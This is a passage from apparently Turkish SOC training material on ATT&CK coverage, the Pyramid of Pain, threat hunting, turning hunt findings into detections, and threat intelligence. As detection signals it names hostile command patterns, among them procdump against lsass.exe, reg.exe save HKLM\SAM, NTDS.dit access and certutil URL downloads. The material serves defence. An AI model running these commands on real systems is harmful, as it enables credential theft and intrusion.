Navigator’da her teknik hücresine renk ve puan atanarak heatmap oluşturulabilir. Yoğun kırmızı alanlar kör noktaları, yeşil alanlar iyi coverage’ı temsil edebilir. Bu görsel, hem SOC içi iletişimde hem de yönetim raporlamasında kullanılabilir.

Heatmap’in en büyük faydası, tartışmayı somutlaştırmasıdır. “Lateral movement konusunda zayıfız” yerine “Lateral Movement tactic’inde 14 teknikten 5’inde detection kuralımız var, 3’ünde log kaynağımız mevcut ama kural yok, 6’sında hiç görünürlüğümüz yok” gibi spesifik bir çerçeve sunar. Bu çerçeve, neye yatırım yapılacağı kararını kolaylaştırır.

2.5 Coverage ile Kurumsal Risk İlişkisini Kurma

ATT&CK matrisi yüzlerce teknik içerir ve hepsini eşit öncelikte ele almak operasyonel açıdan mümkün değildir. Coverage önceliğini belirlemek için şu faktörler değerlendirilmelidir:

Kurumun sektörü: Finans kurumlarına yönelik saldırılar, üretim sektörüne yönelik saldırılardan farklı taktikler kullanır.

Kullanılan teknoloji yığını: Windows ağırlıklı bir ortamda WMI tabanlı teknikler, Linux ağırlıklı bir ortama göre çok daha kritik olabilir.

Tehdit aktörü profili: Kurumun sektörünü hedef alan tehdit aktörlerinin hangi teknikleri kullandığı biliniyorsa, bu teknikler önceliklendirilmelidir.

Kritik varlık etkisi: Bir teknik domain controller’ı, üretim sistemlerini veya müşteri verisi işleyen servisleri etkiliyorsa önceliği yüksektir.

Veri kaynağı uygunluğu: Kural yazmadan önce gerekli veri kaynağının mevcut ve sağlıklı olup olmadığı değerlendirilmelidir.

Dikkat: Tüm ATT&CK tekniklerini eşit öncelikte ele almak yüksek olgunluk değil, yüksek gürültü üretir. Coverage haritası geniş tutulabilir; ancak detection önceliği sektör, teknoloji yığını, tehdit aktörü profili, kritik varlık etkisi ve veri kaynağı uygunluğuna göre verilmelidir.

3. Pyramid of Pain ile Daha Kalıcı Detection Stratejisi Kurma

3.1 Hash Tabanlı Tespitin Değeri ve Sınırlılığı

Hash, bir dosyanın parmak izidir. Belirli bir zararlı yazılımın hash değeri biliniyorsa, o hash’i arama hızlı ve oldukça kesin bir tespit sağlar. Hash tabanlı tespitin güçlü yanı hızdır; bilinen kötü dosyaları anında tanır.

Sınırlılığı ise açıktır: saldırgan bir byte değiştirdiğinde hash değişir. Dosyayı yeniden derlemek, sıkıştırma uygulamak veya metadata düzenlemek yeni bir hash üretir. Bu yüzden hash tabanlı tespit, sık güncellenmediği sürece raf ömrü kısa olan bir detection katmanıdır. IOC feed’lerinden gelen hash’ler hızla eskir; SOC’un bunu bilerek kullanması gerekir.

Hash tabanlı alarm geldiğinde değerli olabilir; ancak bu alarm tek başına kurumu ileri seviye tehditlere karşı dayanıklı yapmaz. Hash, hızlı triaj sağlar; stratejik detection olgunluğu ise daha üst katmanlara çıkmayı gerektirir.

3.2 IP ve Domain Tabanlı Tespitin Değeri ve Sınırlılığı

IP adresi ve domain tabanlı tespit, C2 altyapısı ve phishing kampanyaları için sıklıkla kullanılır. Bir IOC feed’inde listelenen kötü amaçlı IP veya domain, alarmın bağlamını hızlıca zenginleştirir ve triaj süresini kısaltır.

Ancak saldırganlar altyapılarını kolayca değiştirebilir. Bulletproof hosting, dinamik IP tahsisi, domain parking ve hızlı domain rotasyonu bu tip göstergeleri kısa sürede geçersiz kılar. IP tabanlı detection’a dayanan bir SOC, sürekli güncellenen feed’lere muhtaç olur ve bu güncelleme döngüsü dışında kalan saldırılara karşı kör kalır.

Unutma: GeoIP anomalisi veya ASN bilgisi gibi bağlamsal network sinyalleri, tekil IP eşleşmesinden çok daha değerli soruşturma kaldıraçlarıdır. Modül 4’te ele alınan ağ analizi yaklaşımları bu bağlamda tamamlayıcıdır.

3.3 Network ve Host Artifact Tabanlı Tespit

Pyramid of Pain’de hash, IP ve domain göstergelerinden sonra gelen daha dayanıklı katmanlardan biri network ve host artifact’lerdir. Bunlar saldırgan altyapısına veya araçlarına ait izlerdir; ancak tek bir hash veya IP kadar kolay değişmeyebilir.

Network artifact örnekleri arasında belirli URI pattern’leri, özel HTTP header yapıları, user-agent örüntüleri, beaconing zamanlaması veya TLS metadata davranışı bulunabilir. Host artifact örnekleri arasında belirli dosya yolları, registry anahtarları, servis isimlendirme kalıpları, scheduled task adlandırmaları veya belirli komut dizileri sayılabilir.

Bu katman, hash/IP/domain göstergelerine kıyasla daha kalıcıdır; fakat yine de saldırgan tarafından değiştirilebilir. SOC için değeri, tekil IOC’nin ötesine geçerek davranışsal izlere yaklaşmasıdır.

3.4 Araç Tabanlı Tespitle Saldırgan Tool Kullanımını Yakalama

Saldırganın kullandığı araçları tespit etmek, hash tespitinden bir kademe üstedir. Mimikatz, Cobalt Strike, BloodHound gibi araçlar kendine özgü davranış örüntüleri, kayıt defteri anahtarları, ağ imzaları veya memory artifact’ları bırakır. Bu izleri yakalamak, saldırganın araç değiştirene kadar tespit edilmesini sağlar.

Araç tabanlı tespit için şu sinyaller önemlidir: belirli binary adları, yüklenen DLL’ler, ağ bağlantı örüntüleri, spesifik komut argümanları veya araçlara özgü registry anahtarları. Ancak gelişmiş saldırganlar araçlarını özelleştirerek bu imzaları atlatmaya çalışır; bu yüzden araç tespiti tek başına bir strateji değil, davranış tespitini destekleyen bir katmandır.

3.5 Davranış Tabanlı Tespitle Aracın Değil Yöntemin İzini Sürme

Davranış tabanlı tespit, bir aracın kendisini değil aracın yaptığını hedefler. Mimikatz çalıştırılabilir dosyası değişse de LSASS process’ine belirli erişim örüntüsüyle yaklaşmak bir davranıştır; bu davranış farklı araçlar kullanılsa da gözlemlenebilir.

Bu yaklaşım, aşağıdaki sinyaller üzerinden detection mantığı kurmayı gerektirir:
Hangi process, hangi başka process’e hangi erişim hakkıyla erişiyor?
Hangi process beklenmedik bir memory bölgesine okuma/yazma yapıyor?
Hangi komut dizisi birlikte görüldüğünde anlamlı bir saldırı zinciri oluşturuyor?
Hangi kullanıcı bağlamında, hangi parent-child process ilişkisiyle bu davranış gerçekleşiyor?

Davranış tabanlı detection, daha geniş kapsamlıdır ve saldırgan araç değiştirdiğinde kolayca atlatılamaz. Buna karşın false positive oranı hash veya IP tespitinden daha yüksek olabilir; bu nedenle iyi tuning gerektirir.

3.6 TTP Tabanlı Tespitle Saldırgan Yöntemini Hedefleme

Pyramid of Pain’in en üst katmanı olan TTP tabanlı tespit, saldırganın değiştirmesi en zor ve en maliyetli olan davranışları hedefler. Saldırganın kullandığı taktik, teknik ve prosedürler onun “iş yapış biçimini” yansıtır. Bu biçimi değiştirmek, yeni araçlar edinmek veya operatörleri yeniden eğitmek anlamına gelir; bu da zaman, para ve operasyonel risk demektir.

TTP tabanlı detection, örneğin şunu yakalamayı hedefler: “Meşru bir Windows yönetim aracı üzerinden uzak bir sistemde servis oluşturuldu ve bu servis kısa süre sonra dış bir adrese bağlandı.” Bu davranış zinciri, saldırganın hangi aracı kullandığından bağımsız olarak anlamlıdır.

Bu seviyede detection yazmak teknik derinlik gerektirir; ancak en kalıcı ve değerli detection katmanını oluşturur. Bir SOC’un detection matüritesinin göstergelerinden biri, TTP tabanlı kuralların hash/IP tabanlı kurallara oranıdır.

4 Threat Hunting Sürecini SOC İçinde Konumlandırma

4.1 Threat Hunting Nedir?

Threat hunting, kurumun ortamında alarm beklemeden, belirli bir hipotez veya anomali üzerinden aktif olarak saldırgan izi arama pratiğidir. Hunting, reaktif değil proaktiftir. “Alarm gelirse bakarım” değil, “alarm gelmeden önce saldırgan ne zamandır burada olabilir?” sorusunu sormak üzerine kuruludur.

Hunting’in SOC içindeki yeri önemlidir: günlük alarm triajı ve investigation reaktif operasyondur; hunting ise bu operasyonun proaktif tamamlayıcısıdır. İyi bir SOC, yalnızca alarm kapatan değil, alarmların görünemediği körlük alanlarını da araştıran bir yapı kurar.

4.2 Threat Hunting Ne Değildir?

SIEM’de plansız sorgu çalıştırmak hunting değildir. Her şüpheli olayı tek tek manuel incelemek hunting değildir. Alarm kuyruğunda biriken vakaları “hunting yapıyorum” diyerek çalışmak hunting değildir.

Hunting, yapılandırılmış bir süreçtir:

hipotez → veri kaynağı seçimi → sorgu → bulgular → sınıflandırma → geri besleme

Bu döngü olmadan yapılan “araştırma” bir operasyon disiplinine değil, bireysel merak egzersizine dönüşür ve tekrar edilemez, ölçülemeyen çıktı üretir.

4.3 Hypothesis-Driven Hunting ile Hipotez Üzerinden Tehdit Arama

Hipotez odaklı hunting, somut bir soru ile başlar: “Eğer bir saldırgan ortamımızda persistence sağlamak için scheduled task kullanıyorsa, hangi izleri görürüz?” Bu soru, nereden bakacağınızı, hangi log kaynaklarını kullanacağınızı ve hangi alanları sorgulamanız gerektiğini belirler.

İyi bir hipotez şu özellikleri taşır:

Spesifik: “Birisi kötü bir şeyler yapıyorsa bul” değil, “Kimlik doğrulama loglarında olağan dışı saatlerde çok sayıda başarısız girişin ardından başarılı giriş var mı?”

Doğrulanabilir: Mevcut veri kaynaklarıyla cevaplanabilir.

Risk zemini olan: O tekniğin kurumun ortamında gerçekleşme ihtimaline dair makul bir zemin vardır.

Örnek:
Hipotez: “Saldırgan kurumun içinde WMI kullanarak komut çalıştırıyorsa, hangi sistemlerde beklenmedik WMI kaynaklı process creation var?”
Veri kaynağı: Sysmon Event ID 19 (WMI Event Filter), Event ID 20 (WMI Event Consumer), Event ID 21 (WMI Event ConsumerToFilter binding) ve Event ID 1 (Process Creation, parent: WmiPrvSE.exe).
Sorgu: Son 30 günde WmiPrvSE.exe parent process’inden başlayan ve cmd.exe, powershell.exe veya cscript.exe içeren process creation olayları.
Sysmon WMI kalıcılık olaylarında 19, 20 ve 21 numaralı event’lerin sırasıyla filter, consumer ve binding bileşenlerini temsil etmesi, WMI tabanlı persistence analizinde bu üç event’in birlikte değerlendirilmesini gerekli kılar.

4.4 Analytics-Driven Hunting ile Anomali ve Nadirlik Üzerinden Tehdit Arama

Analytics-driven hunting, belirli bir tehdit hipotezi yerine istatistiksel anomali ve nadirlik üzerinden saldırgan izi arar. “Bu davranış normalde ne sıklıkla görülür? Bu sistemde hiç görülmemiş mi?” gibi sorular bu yaklaşımın temelidir.

Pratik uygulamalar:

Hangi process’ler ortamda yalnızca bir kez çalıştı? Stack counting / rarity analysis.
Hangi kullanıcı, kurumda başka hiç kimsenin erişmediği bir sunucuya erişti?
Hangi domain, kurumdan ilk kez sorgulandı ve yeni kaydedilmiş görünüyor?
Belirli bir saatte o sisteme bağlanma sayısı normalin kaç katı?

Analytics-driven hunting, SIEM üzerinde aggregation, distinct count ve rarity sorguları ile yürütülür. False positive oranı yüksek olabilir; çünkü nadir her zaman kötü demek değildir. Bulguların hızlı bağlam zenginleştirmesiyle değerlendirilmesi gerekir.

4.5 Intel-Driven Hunting ile Tehdit İstihbaratını Av Hipotezine Çevirme

Intel-driven hunting, bir tehdit istihbaratı raporunda veya feed’inde geçen TTP, IOC veya kampanya bilgisini hunting hipotezine dönüştürür. “Bu kampanya Windows ortamlarında PowerShell ve WMI’ı birlikte kullanıyor, kurumun ortamında bu kombinasyon var mı?” sorusu intel-driven bir hipotezdir.

Bu yaklaşımın değeri, hunting’in soyut anomali aramasından somut saldırgan davranışına odaklanmasıdır. Dezavantajı ise istihbaratın kalitesine ve güncelliğine bağımlı olmasıdır. Eski bir rapordaki IOC’lere dayalı hunting, aktif tehdit yerine tarihsel bir iz arar.

İpucu: Intel-driven hunting için IOC’den önce TTP’ye odaklanın. Bir IOC feed’indeki IP adresi değişmiş olabilir; ancak o kampanyanın kullandığı persistence tekniği muhtemelen daha uzun süre benzer kalır.

4.6 Hunt Scope Belirleyerek Av Çalışmasının Sınırını Çizme

Sınırı belirlenmemiş bir hunting çalışması tamamlanamaz ve değerlendirilemez. Scope tanımlamak şu unsurları kapsar:

Hangi sistemler: Tüm ortam mı, yalnızca kritik varlıklar mı, belirli bir segment mi?
Hangi kullanıcılar: Tüm kullanıcılar mı, yalnızca yüksek yetkili hesaplar mı?
Hangi zaman aralığı: Son 7 gün, son 30 gün, belirli bir olay tarihinden itibaren mi?
Hangi veri kaynakları: Endpoint telemetri, kimlik logları, ağ logları, cloud audit logları mı?
Başarı kriteri: Av çalışmasının tamamlandığına dair sinyal nedir?

Scope belirleme aynı zamanda raporlamayı kolaylaştırır. “Bu hipotez için şu sistemlerde şu zaman aralığını inceledim, şu sonuçlara ulaştım” ifadesi, iyi tanımlanmış scope olmadan yazılamaz.

4.7 Hunt Sonuçlarını Sınıflandırma

Bir hunting çalışması her zaman aktif tehdit bulmaz; bu beklenti doğru değildir. Bulguların sınıflandırılması, çalışmanın değerini görünür kılar. Aşağıdaki sınıflar evrensel bir standart olmak zorunda değildir; kurumun kendi vaka taksonomisine göre isimleri değişebilir. Ancak operasyonel eğitim açısından bu ayrım güçlü ve uygulanabilirdir.

Sınıflandırma	Teknik Anlam ve Analitik Yaklaşım
Benign (Zararsız)	Davranış normal ve açıklanabilir; kurum içi meşru bir iş aktivitesi olarak onaylanmış süreç (False Positive eleme).
Suspicious (Şüpheli)	Davranışın amacı netleştirilemiyor; anomaliler mevcut. Derinlemesine araştırma (Pivot analizi) ve vaka açılması gerekir.
Confirmed Malicious	Saldırgan aktivitesi kesin olarak doğrulandı. Acil Incident Response (IR) eskalasyonu ve izolasyon süreçleri başlatılmalıdır.
Detection Opportunity	Mevcut bir tehdit olmasa dahi, gözlemlenen örüntü gelecekteki saldırılar için otomatik bir kurala (Use Case) dönüştürülebilir.
Data Gap (Veri Eksikliği)	Hipotezi doğrulamak veya çürütmek için gerekli telemetri (log) mevcut değil. İlgili sistemde loglama/sensör ihtiyacı not edilmelidir.

Bu sınıflandırma, hunting çalışmasının “hiçbir şey bulamadım” yerine “şu kadar benign, şu kadar suspicious, iki data gap ve bir detection opportunity buldum” şeklinde somut çıktı üretmesini sağlar.

5. SOC İçin Öncelikli Threat Hunting Alanları

5.1 Living off the Land Hunting ile Meşru Araçların Kötüye Kullanımını Arama

Living off the Land (LotL) saldırıları, sistemin kendi araçlarını kullandığı için imza tabanlı tespite en dirençli kategorilerden biridir. Bu nedenle hunting bu alanda özellikle değerlidir.

Aranacak örüntüler:

certutil.exe ile URL’den dosya indirme (-urlcache, -split, -f argümanları)
mshta.exe ile uzak script çalıştırma
regsvr32.exe ile COM object kayıt etme veya scriptlet kullanımı (/s, /n, /u, /i gibi parametrelerle)
wscript.exe veya cscript.exe ile geçici dizinden script çalıştırma
bitsadmin.exe ile dosya transferi
rundll32.exe ile alışılmadık DLL veya export çağrısı

Bu araçların tamamı meşru kullanımlara sahiptir. Hunting’de kritik olan, “bu araç bu argümanla bu ortamda beklenen bir kullanım mı?” sorusunu sormaktır. İş istasyonlarında certutil kullanımı nadirse ve görülüyorsa, bu güçlü bir sinyal taşır.

5.2 Kerberos Attack Hunting ile Kimlik Altyapısı Saldırılarını Arama

Kerberos saldırıları kimlik altyapısını doğrudan hedefler ve ağ üzerinde meşru protokol trafiği gibi görünebilir. SOC hunting açısından bilmesi gereken üç temel Kerberos saldırısı vardır.

Kerberoasting: Saldırgan, SPN (Service Principal Name) kayıtlı servis hesapları için Kerberos servis bileti (TGS) talep eder ve bu bileti çevrimdışı kırmaya çalışır. Savunmacı sinyal: normal kullanıcıların belirli SPN’lere toplu veya olağan dışı TGS talebi göndermesi. Windows Event ID 4769, Kerberos TGS taleplerini izlemek için temel kaynaktır; RC4 / etype 0x17 kullanımı güçlü bir risk sinyalidir. Ancak tespit yalnızca RC4’e bağlanmamalıdır. Kısa sürede çok sayıda TGS talebi, farklı servis hesaplarının hedeflenmesi, normal kullanıcı davranışından sapma, servis hesabı kritiklik seviyesi ve istemci IP bağlamı birlikte değerlendirilmelidir. MITRE’nin Kerberoasting detection stratejisi de Event ID 4769, RC4 etype 0x17, kısa sürede olağan dışı sayıda servis bileti talebi ve baseline dışı servis hesabı hedeflemeyi birlikte ele alır.

AS-REP Roasting: Pre-authentication devre dışı bırakılmış hesaplar için AS-REP mesajları alınabilir ve çevrimdışı kırılabilir. Savunmacı tarafta Event ID 4768, özellikle Pre-Auth Type = 0, RC4 / etype 0x17 kullanımı ve pre-authentication disabled hesap baseline’ından sapmalarla birlikte izlenmelidir. MITRE, AS-REP Roasting tespitinde Event ID 4768 ile Pre-Auth Type 0 bilgisini önemli bir analitik sinyal olarak belirtir.

Olağandışı ticket davranışı: Çok kısa sürede çok sayıda farklı servise TGS talebi, normal kullanıcı davranışından sapar; bu da araştırma gerektirir. Bu davranış tek başına saldırı kanıtı değildir; uygulama, servis, kullanıcı rolü ve IP bağlamıyla birlikte değerlendirilmelidir.

5.3 Persistence Hunting ile Kalıcılık İzlerini Arama

Persistence mekanizmaları, saldırganın sisteme bir sonraki erişimde tekrar kimlik doğrulama yapmak zorunda kalmadan geri dönmesini sağlar. Hunting için öncelikli alanlar:

Scheduled Tasks: Event ID 4698 yeni scheduled task oluşturma olayını gösterir. Microsoft, bu event’in yeni scheduled task oluşturulduğunda üretildiğini ve Audit Other Object Access Events alt kategorisiyle ilişkili olduğunu belirtir. Olağandışı zamanlarda, beklenmedik kullanıcılar tarafından veya system32 dışındaki binary’lere işaret eden görevler şüphelidir.

Service Creation: Windows System Event ID 7045 / Service Control Manager logları yeni servis kurulumu davranışını izlemek için kullanılır. Splunk’un veri kaynağı tanımı da 7045’i XmlWinEventLog:System kaynağı olarak gösterir ve servis adı, executable path ve servis tipi gibi detaylar içerdiğini belirtir. Binary yolu geçici dizine veya kullanıcı profiline işaret ediyorsa, servis yeni ve imzasızsa inceleyin.

Registry Run Keys: Sysmon Event ID 12/13. HKCU\...\Run ve HKLM\...\Run altındaki yeni girişler; özellikle yüklenen binary’nin imzasız veya beklenmedik konumda olduğu durumlar.

Startup Folder: Kullanıcı profilindeki startup klasörüne eklenen yeni dosyalar.

Yeni Hesap Oluşturma: Event ID 4720. Yönetici yetkisiyle oluşturulan beklenmedik hesaplar, özellikle gece veya hafta sonu saatlerinde oluşturulduysa araştırılmalıdır.

5.4 Lateral Movement Hunting ile Ağ İçi Hareket İzlerini Arama

Lateral movement, saldırganın bir sistemden diğerine geçişini ifade eder. SOC için en önemli sinyal kaynakları authentication logları, endpoint telemetri ve ağ trafiğidir.

RDP: Event ID 4624 (Logon Type 10) ve 4648 (açık credentials ile giriş). Bir kullanıcının normalden farklı bir sisteme RDP bağlantısı kurması, özellikle yönetim sistemleri dışında incelenmelidir.

SMB/Admin Share: Bir sistemden başka sistemlerin C$ veya ADMIN$ paylaşımlarına erişim. Network logları ve Zeek ile izlenir.

WinRM: Uzaktan PowerShell oturumu. Event ID 4688 ile wsmprovhost.exe child process’lerini takip edin.

PsExec benzeri araçlar: Servis oluşturma + uzak execution kombinasyonu. EDR telemetrisi ve Windows System Event ID 7045 birlikte kullanılır.

Hunting bu alanda şu soruyu sormakla başlar: “Hangi sistem, son 7 gün içinde normalden farklı sistemlere SMB veya RDP ile bağlandı?”

5.5 Credential Access Hunting ile Kimlik Bilgisi Erişim İzlerini Arama

Kimlik bilgisi erişimi için hunting, ağırlıklı olarak endpoint telemetrisine dayanır.

LSASS erişimi: Sysmon Event ID 10. lsass.exe’ye erişen process’ler içinde beklenmedik olanlar incelenmelidir. Ancak allowlist dikkatli kurulmalıdır. Bilinen AV/EDR süreçleri, sistem süreçleri ve kurumun onaylı yönetim araçları allowlist’e alınabilir; fakat taskmgr.exe, procdump.exe, script interpreter’lar veya kullanıcı profilinden çalışan araçlar otomatik güvenli sayılmamalıdır. GrantedAccess, kullanıcı bağlamı, parent process, imza durumu ve host kritiklik seviyesi birlikte değerlendirilmelidir.

Credential tool izleri: mimikatz, procdump, comsvcs.dll MiniDump gibi araçların veya bu araçların davranışlarının izleri. procdump.exe -ma lsass.exe komut satırı kombinasyonu spesifik bir sinyaldir.

SAM Database erişimi: reg.exe save HKLM\SAM komutu veya SAM dosyasına doğrudan erişim denemeleri.

NTDS.dit: Domain controller’da ntdsutil.exe kullanımı veya NTDS.dit dosyasına doğrudan erişim girişimi.

GrantedAccess değeri LSASS erişiminin ciddiyetini anlamada önemlidir. Geniş erişim maskeleri credential dumping açısından güçlü sinyal olabilir; ancak karar, erişen process, imza durumu, kullanıcı, parent process, EDR alarmı ve olay zaman çizelgesiyle birlikte verilmelidir.

5.6 Cloud Hunting ile Bulut Ortamındaki Anormal Davranışları Arama

Cloud hunting, kontrol düzlemini hedef alan anormalliklere odaklanır. AWS CloudTrail, Azure Activity Logs, Microsoft Entra ID Audit Logs, Entra ID Sign-in Logs, Azure resource logs, GCP Audit Logs ve ilgili servis/data access logları birlikte değerlendirilmelidir. CloudTrail data events, Azure diagnostic/resource logs ve GCP Data Access loglarının ayrıca etkinleştirilmesi gerekebilir.

IAM Anomali: Kısa sürede çok sayıda IAM politikası değişikliği, yeni privilege assignment veya cross-account erişim denemeleri.

Access Key Kullanımı: Uzun süredir kullanılmayan access key’in aniden aktif olması, beklenmedik bölgeden API çağrısı, tek bir key’den yüksek hacimli API isteği.

Olağandışı API Çağrısı: Daha önce kullanılmamış API’lerin çağrılması, özellikle storage, compute veya IAM yönetim API’leri.

Yeni Service Account Oluşturma: Bir kullanıcı tarafından beklenmedik yeni service account, app registration veya OAuth credential oluşturulması.

Data Access Davranışı: S3 object-level erişimleri, Azure Blob erişimleri veya GCP Data Access audit logları gibi veri düzeyi loglar yoksa cloud exfiltration hunting eksik kalabilir.

5.7 Exfiltration Hunting ile Veri Çıkışı Davranışlarını Arama

Veri sızdırma hunting’i ağ ve endpoint verilerini birlikte kullanır.

Yüksek hacimli dış transfer: Belirli bir iç host’tan dış adreslere normalin üzerinde veri transferi. Zeek conn.log üzerinde veri hacmi analiz edilirken native Zeek alanları (orig_bytes, resp_bytes, id.orig_h, id.resp_h) ile SIEM’in normalize ettiği bytes_out, bytes_in, src_ip, dest_ip gibi alanların eşlemesi doğrulanmalıdır.

Nadir hedef: Kurumdan daha önce hiç bağlantı kurulmamış dış domain veya IP’ye büyük miktarda veri gönderimi.

Sıkıştırılmış dosya oluşturma: Büyük miktarda verinin .zip, .tar.gz, .7z formatında paketlenmesi, ardından dış transferin başlaması.

Cloud Storage Kullanımı: aws s3 cp, azcopy veya gsutil cp komutlarının iş amacına uygun olmayan şekilde kullanılması; S3, Azure Blob veya GCS bucket’lara beklenmedik upload.

6. Hunting Çıktılarını Detection ve Süreç İyileştirmesine Dönüştürme

6.1 Hunting Çıktısından Detection Kuralı Üretme

Hunting’in en doğrudan değeri, kaçırılan tehditleri bulmaktır. İkinci değeri ise bulunan davranışları kalıcı detection kuralına dönüştürmektir. Bir hunting sırasında keşfedilen şüpheli davranış örüntüsü, aynı örüntünün gelecekte otomatik alarm üretmesi için kuralın temeli hâline gelir.

Bu geçişin operasyonel adımları şöyle işler:

Hunting sırasında anlamlı bir davranış örüntüsü keşfedildi.
Bu örüntü yeniden üretilebilir bir sorguya dönüştürüldü.
Sorgunun ne kadar false positive ürettiği küçük bir pencerede test edildi.
Threshold, zaman penceresi veya ek filtrelerle tuning yapıldı.
Kural detection engineering sürecine aktarıldı; MITRE eşlemesi, veri kaynağı, sahip ve açıklama bilgileriyle belgelendi.
Kural production’a alındı.

Dikkat: Hunting’den üretilen bir kuralı tuning yapmadan doğrudan production’a almayın. Hunting sırasında keşfedilen örüntü, belirli bir hipoteze özgü koşullar altında anlamlıydı; gerçek ortamda farklı false positive kaynaklarıyla karşılaşabilirsiniz.

6.2 Hunting Çıktısından Tuning İhtiyacı Üretme

Bir hunting çalışması sırasında mevcut alarm kurallarının neden yanlış pozitif ürettiğini keşfedebilirsiniz. Örneğin, IT yöneticilerinin düzenli olarak belirli bir scheduled task oluşturduğunu ve bu işlemin persistence detection kuralını tetiklediğini görebilirsiniz.

Bu bulgu, kuralın allowlist’ine IT yönetici hesaplarını veya belirli bir görev adını eklemek için kullanılabilir. Hunting çıktısından tuning ihtiyacı çıkarmak, alarm kalitesini doğrudan artırır ve alert fatigue’i azaltır. Bu nedenle hunting bulgularının yalnızca threat ile ilgili olanları değil, benign olarak sınıflandırılan bulgular da kayıt altına alınmalı ve ilgili kural sahiplerine iletilmelidir.

6.3 Hunting Çıktısından Yeni Log İhtiyacı Belirleme

Data gap bulgusunu ciddiye alın. Bir hipotezi test etmek için gerekli log kaynağı eksikse veya mevcut veri bu tekniği görmek için yetersiz kalıyorsa, bu bilgi log altyapısı iyileştirme taleplerini destekler.

Örnek: “Scheduled task manipulation’ı araştırdım; ancak Event ID 4698 logları sadece domain controller’dan geliyordu, iş istasyonlarından bu olay toplanmıyor.” Bu bulgu, Windows Security Log’un iş istasyonlarında da toplanması gerektiğine dair somut bir gerekçe üretir. Hunting, log kaynağı taleplerini soyut güvenlik argümanlarından çıkarıp somut tespit ihtiyacına dayandırır.

6.4 Hunting Çıktısından Playbook Güncelleme

Hunting sırasında karşılaşılan bir senaryo, mevcut playbook’ta olmayan bir analiz adımı gerektirdiyse bu deneyim playbook’a yansıtılmalıdır. “Bir sonrakinde bu durumla karşılaşan analistin daha hızlı ve doğru karar vermesi için ne yazmalıyım?” sorusu playbook güncellemenin yol göstericisidir.

Özellikle Kerberoasting şüphesi, LSASS erişimi veya lateral movement tespiti gibi karmaşık senaryolarda, hunting sırasında edinilen “hangi alanlara bakmalıyım, hangi sırayla sorgulamalıyım, false positive ihtimali nerede” gibi pratik bilgiler playbook’a değer katar.

7. Threat Intelligence’ı SOC Operasyonlarına Entegre Etme

7.1 Threat Intelligence’ın SOC İçin Anlamı

SOC analistinin bakış açısından Threat Intelligence, tehdit aktörlerinin nasıl çalıştığını, hangi teknikleri kullandığını ve hangi sektörleri hedef aldığını anlatan destekleyici bilgidir. CTI’ın bu eğitimdeki yeri; derin actor profiling veya istihbarat üretimi değil, alarmı daha hızlı ve doğru anlamlandırmak, hunting hipotezi oluşturmak ve detection önceliklendirmesi yapmak için kullanılan operasyonel bilgidir.

Bir alarmın tetiklediği IP’nin belirli bir tehdit aktörünün altyapısıyla ilişkili olduğu bilgisi, analistin triaj kararını ve eskalasyon eşiğini doğrudan etkiler. Ortamda görülen tekniğin belirli bir kampanyanın TTP profiliyle örtüşmesi, investigation’ı yönlendirir. Bu katmanlar olmadan SOC, teknik sinyali bağlamından kopuk değerlendirmek zorunda kalır.

7.2 IOC Enrichment ile Alarm Bağlamını Zenginleştirme

IOC enrichment, bir alarm içindeki teknik göstergelerin (IP, domain, URL, hash, email) tehdit veritabanlarıyla karşılaştırılarak ek bağlam kazanmasıdır. Bu işlem SOAR üzerinde otomatikleştirilebilir; analist alarm açtığında IP’nin reputation puanı, ilişkili malware aileleri, son görülme tarihi ve ilişkili kampanyalar gibi bilgiler hazır olarak karşılayabilir.

Enrichment’ın sınırlılıklarını bilmek de önemlidir:

Reputation puanı negatif olmayan bir IP, temiz değildir; yalnızca o veritabanında kayıtlı değildir.
Fresh domain’ler, yani yeni kaydedilmiş domain’ler, henüz hiçbir veritabanında görülmemiş olabilir; bu “temiz” anlamına gelmez.
Bir IOC feed’inin kapsamı ve güncelleme sıklığı, enrichment kalitesini doğrudan etkiler.
IOC enrichment, karar verdiren tek kanıt değil; triaj önceliğini etkileyen destekleyici bağlamdır.

7.3 Tehdit Aktörü ve Kampanya Farkındalığı Kazanma

SOC analisti, her aktörü derinlemesine bilmek zorunda değildir. Ancak kurumun sektörünü veya teknoloji altyapısını hedef alan aktörlerin genel profilini tanımak; hangi taktikleri kullandıklarını, hangi sektörleri hedef aldıklarını ve hangi altyapıları tercih ettiklerini genel seviyede bilmek, alarm değerlendirmesini güçlendirir.

Örneğin, bir finansal kurumun SOC’unda çalışan analist, finansal sektörü hedef aldığı bilinen tehdit aktörlerinin genel TTP profilini tanımalı ve bir alarm bu profille örtüşüyorsa eskalasyon eşiğini düşürmelidir. Bu, aktörü derinlemesine araştırmak değil; genel kampanya farkındalığı taşımaktır.

7.4 TTP Bilgisini Detection ve Hunting Fikrine Dönüştürme

Bir CTI raporu veya tehdit istihbaratı bülteni okunduğunda, içindeki TTP bilgisi doğrudan detection ve hunting fikrine çevrilmelidir. Bu dönüşüm sistematik olarak şöyle yapılır:

Rapordaki TTP’leri listele.
Her TTP için MITRE teknik ID’sini belirle.
Bu teknik için kurumda detection kuralı var mı? Kontrol et.
Yoksa: bu tekniği tespit etmek için hangi log kaynağı gerekiyor? Mevcutsa kural yaz; değilse log ihtiyacı olarak kaydet.
Hunting için: bu tekniğin kurumun ortamında zaten uygulanmış olma ihtimali var mı? İhtimal makul görünüyorsa hunting hipotezi oluştur.

Bu süreç, CTI raporunu pasif okumadan aktif operasyonel çıktıya dönüştürür.

7.5 STIX/TAXII ile Tehdit Bilgisinin Standart Paylaşımını Anlama

STIX (Structured Threat Information eXpression), siber tehdit istihbaratını tutarlı ve makine tarafından okunabilir biçimde ifade eden dil ve serialization formatıdır. OASIS STIX dokümantasyonu, STIX’i CTI değişimi için kullanılan dil ve serialization formatı olarak tanımlar.

TAXII (Trusted Automated eXchange of Intelligence Information) ise STIX ile temsil edilen CTI verisinin HTTPS tabanlı API üzerinden paylaşılmasını sağlayan protokoldür. OASIS TAXII 2.1 standardı, TAXII’yi CTI iletişimi için uygulama katmanı protokolü olarak tanımlar ve RESTful API yapısını belirtir.

SOC analistinin bu konuda bilmesi gereken şudur: STIX formatındaki veriler IOC’leri, tehdit aktörlerini, kampanyaları, saldırı örüntülerini ve ilişkilerini makineler tarafından okunabilir yapıda saklar. TAXII sunucuları bu veriyi TIP platformlarına veya SIEM entegrasyonlarına besleme amacıyla kullanılır.

Bu eğitimde STIX/TAXII’yi kavramsal seviyede anlamak yeterlidir. Feed engineering, TAXII server yapılandırması veya STIX obje grafiği yönetimi bu eğitimin dışında kalır.

7.6 MISP ve OpenCTI Gibi Platformların SOC’taki Yerini Anlama

